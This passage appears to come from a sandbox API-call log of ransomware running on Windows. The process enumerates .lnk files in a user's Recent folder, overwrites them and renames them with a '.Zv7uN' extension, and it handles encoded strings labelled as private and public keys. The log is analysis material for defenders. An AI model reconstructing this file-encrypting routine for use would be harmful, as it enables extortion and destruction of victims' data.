halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2rlazi.mkv.lnk.zv7un")) returned 1 [0079.400] GetCurrentThreadId () returned 0xa30 [0079.400] GetCurrentThreadId () returned 0xa30 [0079.400] GetCurrentThreadId () returned 0xa30 [0079.400] GetCurrentThreadId () returned 0xa30 [0079.400] GetCurrentThreadId () returned 0xa30 [0079.400] GetCurrentThreadId () returned 0xa30 [0079.400] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e802c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e802c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e802c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2wyN1v_bomEHhDPaBS.lnk", cAlternateFileName="2WYN1V~1.LNK")) returned 1 [0079.400] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.400] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wyn1v_bomehhdpabs.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e802c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e802c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e802c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f)) returned 1 [0079.400] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wyn1v_bomehhdpabs.lnk")) returned 0x20 [0079.400] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk", dwFileAttributes=0x80) returned 1 [0079.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.403] GetCurrentThreadId () returned 0xa30 [0079.403] GetCurrentThreadId () returned 0xa30 [0079.403] GetCurrentThreadId () returned 0xa30 [0079.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.404] GetCurrentThreadId () returned 0xa30 [0079.404] GetCurrentThreadId () returned 0xa30 [0079.404] GetCurrentThreadId () returned 0xa30 [0079.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wyn1v_bomehhdpabs.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.405] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.405] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.405] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa8f [0079.405] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.405] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa8f, lpOverlapped=0x0) returned 1 [0079.407] CloseHandle (hObject=0x124) returned 1 [0079.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wyn1v_bomehhdpabs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.410] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa8f, lpOverlapped=0x0) returned 1 [0079.411] CloseHandle (hObject=0x124) returned 1 [0079.413] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wyn1v_bomehhdpabs.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2wyN1v_bomEHhDPaBS.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wyn1v_bomehhdpabs.lnk.zv7un")) returned 1 [0079.414] GetCurrentThreadId () returned 0xa30 [0079.414] GetCurrentThreadId () returned 0xa30 [0079.414] GetCurrentThreadId () returned 0xa30 [0079.414] GetCurrentThreadId () returned 0xa30 [0079.414] GetCurrentThreadId () returned 0xa30 [0079.414] GetCurrentThreadId () returned 0xa30 [0079.414] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d9ba80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2d9ba80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2d9ba80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14ee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="3a_Ktn--Hmt.lnk", cAlternateFileName="3A_KTN~1.LNK")) returned 1 [0079.414] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.414] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.415] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3a_ktn--hmt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d9ba80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2d9ba80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2d9ba80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14ee)) returned 1 [0079.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3a_ktn--hmt.lnk")) returned 0x20 [0079.415] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk", dwFileAttributes=0x80) returned 1 [0079.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ